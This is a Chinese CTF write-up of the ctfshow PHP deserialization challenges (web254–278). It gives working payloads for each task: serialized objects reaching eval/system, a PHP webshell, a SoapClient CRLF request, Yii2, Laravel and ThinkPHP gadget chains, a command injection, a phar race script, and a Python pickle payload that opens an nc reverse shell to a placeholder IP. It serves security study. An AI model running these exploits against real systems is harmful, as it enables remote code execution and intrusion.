IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow web入门 反序列化 -> 正文阅读

[PHP知识库]ctfshow web入门 反序列化

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

下边有一段判断,会对传参的username和password与类中的值进行比较,比较相等后isVip的值为true,在执行第三个if语句,经过checkVip()函数,返回isVip的值(true),进入vipOneKeyGetFlag函数,isVip的值为ture输出flag
image-20211210200657659
所以本题并不需要构造反序列化,只需要传参是username和password的值与源码中一样即可

?username=xxxxxx&password=xxxxxx

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

与上题不同的点就在底下的user赋值上,赋值时会从cookie中获取user的值
image-20211210215236738
这里是unserialize,而上题的事new ctfShowUser();所以只需要将cookie中user值改为new ctfShowUser();的内容即可,又因为只有$this->isVip是true才能是flag,所以反序列化的内容为

<?php
class ctfShowUser{
    public $isVip=true;
}
$a=new ctfShowUser();
echo serialize($a);

将payload进行url编码传给cookie中的user即可
image-20211210221512713

web256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

与上题不同的是这里有个username!=password的判断
image-20211210232155102
构造代码

<?php
class ctfShowUser{
    public $username='a';
    public $isVip=true;
}
$a=new ctfShowUser();
echo serialize($a);

O:11:"ctfShowUser":2:{s:8:"username";s:1:"a";s:5:"isVip";b:1;}

url编码后传参得到flag
image-20211210233226645

web257

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

backDoor中有个eval函数,所以本题可以通过该函数进行命令执行读取flag
在源码中发现__destruct方法,反序列化释放时会调用该方法执行$this->class->getInfo();,所以我们只需要将$this->class的值是backDoor类的实例化即可,再通过修改code的值,即可触发我们想执行的命令
构造代码

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

payload还是传入到cookie中username、password还是xxxxxx即可得到flag

web258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

!preg_match('/[oc]:\d+:/i,把O:过滤了,可以利用str_replace函数把O:换成O:+;另外本题class用的是public所以要把private改为public
构造代码

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
$b=serialize($b);
$b=str_replace('O:', 'O:+',$b);
echo urlencode($b);

传参方式同上

web259(原生类SoapClient)

<?php

highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

构造代码

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
    'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Sentiment^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

构造完成后传参给vip,访问flag.txt得到flag
直接参考y4师傅的文章吧,写的很详细(26条消息) 从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客
也可参考我在之前总结的文章https://shimo.im/docs/PpV9pDDppQvjqWw9/

web260???

直接给payload吧

?ctfshow=ctfshow_i_love_36D

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

由于本题中出现了__unserialize函数,所以__wake方法就不会被执行,__invoke()中有eval函数,但当脚本尝试将对象调用为函数时才会触发,所以本题直接考虑通过__destruct写马即可,
构造代码

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

者利用了877.php,因为877.php==877,可以绕过弱类型比较
image-20211211145850522

web262(字符串逃逸)

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

看完源代码后通过str_replace可以猜测是字符串逃逸,但并没有看到反序列化的利用点,因此无法输出flag,随后发现了本题其实是有一个hint——message.php
image-20211213132433892
访问后发现只有token的值为admin就可输出flag
image-20211213132633173
先构造token=admin

<?php
class message{
    public $token='admin';
    }
echo serialize(new message);

O:7:"message":1:{s:5:"token";s:5:"admin";}

构造出的内容为";s:5:"token";s:5:"admin";},长度为27,所以我们需要27个fuck变为loveU来逃逸出后边的";s:5:"token";s:5:"admin";}
payload:

f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

传参后访问message.php即可得到flag

本题也可以通过传参序列化后的内容到cookie中的方式,解除flag,羽师傅的exp

<?php
class message{
   public $from;
   public $msg;
   public $to;
   public $token='user';
   public function __construct($f,$m,$t){
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
   }
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);

//Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO2k6MTtzOjM6Im1zZyI7aToxO3M6MjoidG8iO3M6MTM1OiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVUiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6NToidG9rZW4iO3M6NDoidXNlciI7fQ==

在message.php中将base64编码后的内容传到cookie中即可

web263(session反序列化漏洞)

深入浅析PHP的session反序列化漏洞问题_php实例_脚本之家 (jb51.net)
师傅session反序列化讲的很详细,可以参考一下
访问www.zip得到源码,inc.php中ini_set(‘session.serialize_handler’, ‘php’);表明使用的是php引擎,所以可以推测本题是session反序列化
image-20211218183037676
先判断一下session是否可控。如果不可控的话可能就要利用文件上传了,index.php搜索后发现:
image-20211218183240779
第一次访问index.php后会产生session,如果limit<5即执行$_SESSION['limit']=base64_decode($_COOKIE['limit']);将cookie的值传给seesion,即session可控,再去找一下利用点,直接找session_start,发现inc.php里面有session-start(),而且存在User类,有一个文件写入:
image-20211218183515468
存在file_put_contents可以写入文件,文件名为username,内容为password
构造代码

<?php
class User{
    public $username;
    public $password;
    public $status='a';
    function __construct(){
        $this->username = "1.php";
        $this->password = '<?php system("cat f*");?>';}
}
$a=new User();
echo base64_encode('|'.serialize($a));

//fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgc3lzdGVtKCJjYXQgZioiKTs/PiI7czo2OiJzdGF0dXMiO3M6MToiYSI7fQ==

构造好后在index.php抓包传参给cookie的limit中,访问check.php(在访问check.php时,因为包含了inc.php,inc.php中又改变了session引擎,进而反序列化出一个User类的实例,而这个实例在销毁的时候调用了--destruct()方法,进而达成了写shell的目的),最后访问log-1.php(加log-1是因为file_put_contents中加上了log-)即可

web264

本题跟262基本一样,只是将cookie改成了session,所以就不能将base64编码后的内容传到cookie中了,可以直接用262的payload

web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

源码中有一段强类型比较,看到强类型比较第一点直接想到数组绕过,但这种形式不知道该如何传数组的值
image-20211218203409824
看了师傅们的思路后,发现该题要用指针&
例:

class A{
	public $name;
	public $age;
}
$DMIND=new A();
$DMIND->name="dmind";
$DMIND->age=&$DMIND->name; //&将name的地址传给 age,所以age的值是跟着name的变化而变化
var_dump($DMIND)
输出:
object(A)#1 (2) {
  ["name"]=>
  &string(5) "dmind"
  ["age"]=>
  &string(5) "dmind"
}

所以直接用&即可
构造代码

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->token='a';
        $this->password =&$this->token;
    }
}
$a=new ctfshowAdmin();
$a=serialize($a);
echo $a;
?>

payload:

?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}

web266

<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

cs会接受get传参的内容
image-20211219124625518
当触发__destruct后会输出flag,但正则匹配ctfshow后执行报错处理就无法执行__destructimage-20211219121934080
正则后边没有i所以是区分大小写的,而PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分;所以就可以用大小写进行绕过

区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE

构造代码

<?php
class CTFSHOW{}
echo(serialize(new ctfshow));
?>

POST传参得到flag

web267(Yii2反序列化漏洞)

参考feng师傅的Yii2的反序列化漏洞复现(27条消息) yii2框架 反序列化漏洞复现_feng的博客-CSDN博客_yii框架漏洞
login界面弱口令admin:admin登录
登陆后打开about界面发现url变为了?r=site/about,查看源代码后又发现?view-source
image-20211219170122984
所以尝试?r=site/about&view-source,发现反序列化入口
image-20211219170358894

直接用feng师傅复现中的脚本即可,这里system无回显,所以改用了passthru

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

直接传参得到flag

r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fX0=

web268

同上只是把<、flag给禁了改成cat /fl*即可

web269

同上

web270

用feng师傅复现中的第四条链即可

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /fl*';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

web271(laravel5.7反序列化)

feng师傅的复现文章
POC

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="cat /fl*";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

用burp—POST对data传参得到flag

web272-273(laravel5.8反序列化)

还是feng师傅的文章
POC1

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection="cat /fl*";
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver="system";

    }
}
namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

也可以用eval直接命令执行

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;
        public function __construct(){
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;
        public function __construct(){
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader
    {

    }
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php system('cat /fl*');exit()?>";
            $this->config=new MockConfiguration();
        }
    }
    class MockConfiguration
    {
        protected $name="feng";
    }
}

namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

POC2(本题无法使用)

<?php
namespace Symfony\Component\Cache\Adapter{

    use Symfony\Component\Cache\CacheItem;

    class TagAwareAdapter
    {
        private $deferred;
        public function __construct(){
            $this->pool=new ProxyAdapter();
            $this->deferred=array(
                'feng'=>new CacheItem()
            );
        }
    }
}
namespace Symfony\Component\Cache{
    final class CacheItem{
        protected $poolHash="1";
        protected $innerItem="dir";
    }
}
namespace Symfony\Component\Cache\Adapter{
    class ProxyAdapter
    {
        private $poolHash="1";
        private $setInnerItem="system";
    }
}
namespace{

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    echo urlencode(serialize(new TagAwareAdapter()));
}

web274(Thinkphp5.1)

还还是feng师傅的复现文章
thinkphp的复现要比前边的lavarel5.7、Yii2难很多
POC

<?php
namespace think\process\pipes{

    use think\model\Pivot;

    class Windows
    {
        private $files = [];
        public function __construct(){
            $this->files[]=new Pivot();
        }
    }
}
namespace think{
    abstract class Model
    {
        protected $append = [];
        private $data = [];
        public function __construct(){
            $this->data=array(
              'feng'=>new Request()
            );
            $this->append=array(
                'feng'=>array(
                    'hello'=>'world'
                )
            );
        }
    }
}
namespace think\model{

    use think\Model;

    class Pivot extends Model
    {

    }
}
namespace think{
    class Request
    {
        protected $hook = [];
        protected $filter;
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        public function __construct(){
            $this->hook['visible']=[$this,'isAjax'];
            $this->filter="system";
        }
    }
}
namespace{

    use think\process\pipes\Windows;

    echo base64_encode(serialize(new Windows()));
}

传参得到flag
image-20211220174242842
也可以参考另一篇文章
POC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

利用方法也是类似的
image-20211220174658125

web275

highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

检测传参的内容,必须有php或flag才能为true执行system,这里直接用;将system前边的rm闭合即可

image-20211221185504392

GET:  ?fn=;cat fl*;
POST: flag

web276(phar反序列化)

<?php
highlight_file(__FILE__);
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

比上题多了$this->admin的判断,所以需要通过反序列化传值,但没有反序列化入口,所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化
生成phar文件

<?php

class filter{
    public $filename = "1|cat f*";
    public $filecontent;
    public $evilfile = true;
    public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

条件竞争(环境原因并没有竞争出来)

import requests
import threading
import base64
url = 'http://5338e80f-deec-48dd-81e8-44731293cbd2.challenge.ctf.show/'

f = open('./phar.phar', 'rb')

data = f.read()
flag = False

def work1():
    requests.post(url=url+"?fn=a", data=data)


def work2():
    global flag
    r = requests.post(url=url+"?fn=phar://phar.phar/", data="")
    if "flag{" in r.text and flag is False:
        print(base64.b64encode(r.text.encode()))
        flag = True

while flag is False:
    a = threading.Thread(target=work1)
    b = threading.Thread(target=work2)
    a.start()
    b.start()

web277-278(python反序列化)

在注释中发现<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->,看到pickle应该就需要进行python反序列化了
执行命令无回显,所以需要反弹shell

import pickle
import base64
class A(object):
   def __reduce__(self):
      return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4000 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

参考文章
Python 反序列化漏洞学习笔记 - 1ndex- - 博客园 (cnblogs.com)
python 反序列化 ~ Misaki’s Blog (misakikata.github.io)
一篇文章带你理解漏洞之Python 反序列化漏洞

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-12-28 22:41:54  更:2021-12-28 22:42:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 20:54:25-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计